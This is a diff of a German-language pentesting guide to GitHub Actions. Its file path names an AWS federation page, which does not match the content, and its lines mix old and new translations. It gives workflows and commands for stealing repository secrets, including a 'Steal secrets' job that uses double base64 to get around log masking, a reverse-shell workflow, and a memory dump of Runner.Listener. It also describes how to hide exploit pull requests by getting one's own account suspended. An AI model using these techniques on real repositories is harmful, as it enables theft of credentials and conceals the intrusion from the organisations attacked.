../../../pentesting-cloud/aws-security/aws-basic-information/aws-federation-abuse.md
@@ -470,13 +470,13 @@ Check the following pages:
### Zugriff auf secrets <a href="#accessing-secrets" id="accessing-secrets"></a>
Wenn du Content in ein Skript injizierst, ist es interessant zu wissen, wie du auf secrets zugreifen kannst:
Wenn du Inhalt in ein script injizierst, ist es interessant zu wissen, wie du auf secrets zugreifen kannst:
- Wenn das secret oder token als **environment variable** gesetzt ist, kann es direkt über die Umgebung mit **`printenv`** ausgelesen werden.
<details>
<summary>secrets in Github Action-Ausgabe auflisten</summary>
<summary>Secrets in der Github Action-Ausgabe auflisten</summary>
```yaml
name: list_env
on:
@@ -503,7 +503,7 @@ secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}}
<details>
<summary>reverse shell mit secrets erhalten</summary>
<summary>Reverse shell mit Secrets erhalten</summary>
```yaml
name: revshell
on:
@@ -526,15 +526,15 @@ secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}}
```
</details>
- If the secret is used **directly in an expression**, the generated shell script is stored **on-disk** and is accessible.
- Wenn das secret **direkt in einem Ausdruck** verwendet wird, wird das generierte Shell-Skript **auf der Festplatte** gespeichert und ist zugänglich.
- ```bash
cat /home/runner/work/_temp/*
```
- For a JavaScript actions the secrets and sent through environment variables
- Bei JavaScript-Actions werden die secrets über environment variables übergeben
- ```bash
ps axe | grep node
```
- For a **custom action**, the risk can vary depending on how a program is using the secret it obtained from the **argument**:
- Bei einer **custom action** kann das Risiko variieren, je nachdem wie ein Programm das secret verwendet, das es aus dem **argument** erhalten hat:
```yaml
uses: fakeaction/publish@v3
@@ -542,7 +542,7 @@ with:
key: ${{ secrets.PUBLISH_KEY }}
```
- Enumerate all secrets via the secrets context (collaborator level). A contributor with write access can modify a workflow on any branch to dump all repository/org/environment secrets. Use double base64 to evade GitHub’s log masking and decode locally:
- Alle secrets über den secrets context aufzählen (collaborator level). Ein Contributor mit Write-Zugriff kann einen workflow in jedem Branch ändern, um alle repository/org/environment secrets zu dumpen. Nutze doppelte base64, um GitHub’s log masking zu umgehen und lokal zu dekodieren:
```yaml
name: Steal secrets
@@ -558,30 +558,31 @@ run: |
echo '${{ toJson(secrets) }}' | base64 -w0 | base64 -w0
```
Decode locally:
Lokal dekodieren:
```bash
echo "ZXdv...Zz09" | base64 -d | base64 -d
```
Tip: for stealth during testing, encrypt before printing (openssl is preinstalled on GitHub-hosted runners).
Tipp: für Stealth beim Testen vor dem Ausgeben verschlüsseln (openssl ist auf GitHub-hosted runners vorinstalliert).
### Missbrauch von Self-hosted runners
The way to find which **Github Actions are being executed in non-github infrastructure** is to search for **`runs-on: self-hosted`** in the Github Action configuration yaml.
Um herauszufinden, welche **GitHub Actions in nicht-GitHub-Infrastruktur** ausgeführt werden, sucht man nach **`runs-on: self-hosted`** in der GitHub Action-Konfigurations-yaml.
**Self-hosted** runners might have access to **extra sensitive information**, to other **network systems** (vulnerable endpoints in the network? metadata service?) or, even if it's isolated and destroyed, **more than one action might be run at the same time** and the malicious one could **steal the secrets** of the other one.
**Self-hosted** runner können Zugriff auf **zusätzlich sensible Informationen**, auf andere **network systems** (vulnerable endpoints im Netzwerk? metadata service?) haben oder — selbst wenn sie isoliert sind und entfernt werden — können **mehrere Actions gleichzeitig ausgeführt werden**, sodass die bösartige Action die **secrets** der anderen stehlen könnte.
In self-hosted runners it's also possible to obtain the **secrets from the \_Runner.Listener**\_\*\* process\*\* which will contain all the secrets of the workflows at any step by dumping its memory:
In self-hosted runners ist es außerdem möglich, die **secrets from the \_Runner.Listener\_\*\* process\*\*** zu erhalten, der alle secrets der workflows zu jedem Schritt enthält, indem man dessen Speicher dumpst:
```bash
sudo apt-get install -y gdb
sudo gcore -o k.dump "$(ps ax | grep 'Runner.Listener' | head -n 1 | awk '{ print $1 }')"
```
Siehe [**this post for more information**](https://karimrahal.com/2023/01/05/github-actions-leaking-secrets/).
Check [**this post for more information**](https://karimrahal.com/2023/01/05/github-actions-leaking-secrets/).
### Github Docker-Image-Registry
### Github Docker Images Registry
Es ist möglich, Github actions zu erstellen, die ein Docker-Image innerhalb von Github **bauen und speichern**. Ein Beispiel findet sich im folgenden ausklappbaren Bereich:
Es ist möglich, Github actions zu erstellen, die **ein Docker image in Github bauen und speichern**.\
Ein Beispiel findet sich im folgenden ausklappbaren:
<details>
@@ -616,33 +617,33 @@ ghcr.io/${{ github.repository_owner }}/${{ github.event.repository.name }}:${{ e
```
</details>
Wie Sie im vorherigen Code sehen konnten, wird die Github registry auf **`ghcr.io`** gehostet.
Wie im vorherigen Code zu sehen ist, wird die Github-Registry unter **`ghcr.io`** gehostet.
Ein Benutzer mit Lesezugriff auf das repo kann dann das Docker Image mit einem personal access token herunterladen:
Ein Benutzer mit Lesezugriff auf das Repo kann dann das Docker-Image mit einem Personal Access Token herunterladen:
```bash
echo $gh_token | docker login ghcr.io -u <username> --password-stdin
docker pull ghcr.io/<org-name>/<repo_name>:<tag>
```
Dann könnte der Nutzer nach **leaked secrets in the Docker image layers:** suchen
Dann könnte der Benutzer nach **leaked secrets in the Docker image layers:** suchen:
{{#ref}}
https://book.hacktricks.wiki/en/generic-methodologies-and-resources/basic-forensic-methodology/docker-forensics.html
{{#endref}}
### Sensible Informationen in Github Actions-Logs
### Sensible Informationen in Github Actions logs
Auch wenn **Github** versucht, **secret values** in den Actions-Logs zu **erkennen** und **nicht anzuzeigen**, werden **andere sensitive Daten**, die während der Ausführung der Action erzeugt wurden, nicht verborgen. Zum Beispiel wird ein JWT, das mit einem Secret signiert wurde, nicht verborgen, es sei denn, es ist [speziell konfiguriert](https://github.com/actions/toolkit/tree/main/packages/core#setting-a-secret).
Selbst wenn **Github** versucht, **detect secret values** in den actions logs zu **erkennen** und deren Anzeige zu **vermeiden**, werden **andere sensible Daten**, die während der Ausführung der Action erzeugt wurden, nicht verborgen. Zum Beispiel wird ein mit einem secret value signiertes JWT nicht verborgen, es sei denn, es ist [specifically configured](https://github.com/actions/toolkit/tree/main/packages/core#setting-a-secret).
## Spuren verwischen
(Technique from [**here**](https://divyanshu-mehta.gitbook.io/researchs/hijacking-cloud-ci-cd-systems-for-fun-and-profit)) Zuerst ist jeder erstellte PR für die Öffentlichkeit auf Github und für das Ziel-GitHub-Konto deutlich sichtbar. In GitHub kann man standardmäßig **einen PR aus dem Internet nicht löschen**, aber es gibt einen Haken. Für Github-Konten, die von Github **suspendiert** werden, werden alle ihre **PRs automatisch gelöscht** und aus dem Internet entfernt. Um also deine Aktivität zu verbergen, musst du entweder dein **GitHub-Konto suspendiert bekommen** oder dein Konto markieren lassen. Das würde **all deine Aktivitäten** auf GitHub aus dem Internet verbergen (im Grunde alle deine exploit PRs entfernen).
(Technique from [**here**](https://divyanshu-mehta.gitbook.io/researchs/hijacking-cloud-ci-cd-systems-for-fun-and-profit)) Zunächst einmal ist jeder erstellte PR auf Github für die Öffentlichkeit und für das Ziel-GitHub-Konto klar sichtbar. Standardmäßig kann man auf GitHub einen PR nicht aus dem Internet löschen, aber es gibt einen Twist. Für Github-Konten, die von Github gesperrt werden, werden alle ihre PRs automatisch gelöscht und aus dem Internet entfernt. Um also deine Aktivität zu verbergen, musst du entweder dein GitHub-Konto sperren lassen oder dein Konto markieren lassen. Das würde alle deine Aktivitäten auf GitHub aus dem Internet verbergen (im Grunde alle deine exploit PRs entfernen).
Eine Organization auf GitHub ist sehr proaktiv darin, Konten an GitHub zu melden. Alles, was du tun musst, ist „ein paar Sachen“ in einem Issue zu posten, und sie sorgen dafür, dass dein Konto innerhalb von 12 Stunden suspendiert wird :p und voilà — dein Exploit ist auf github unsichtbar.
Eine Organisation auf GitHub ist sehr proaktiv darin, Accounts an GitHub zu melden. Du musst lediglich „some stuff“ in einem Issue posten und sie sorgen dafür, dass dein Account innerhalb von 12 Stunden gesperrt wird :p — und schon ist dein exploit auf GitHub unsichtbar.
> [!WARNING]
> Der einzige Weg für eine Organization herauszufinden, dass sie ins Visier genommen wurde, ist, die GitHub-Logs im SIEM zu prüfen, da der PR in der GitHub-UI entfernt würde.
> Die einzige Möglichkeit für eine Organisation herauszufinden, dass sie ins Visier genommen wurde, ist das Prüfen der GitHub-Logs im SIEM, da der PR in der GitHub-UI entfernt würde.
## Quellen
## Referenzen
- [GitHub Actions: A Cloudy Day for Security - Part 1](https://binarysecurity.no/posts/2025/08/securing-gh-actions-part1)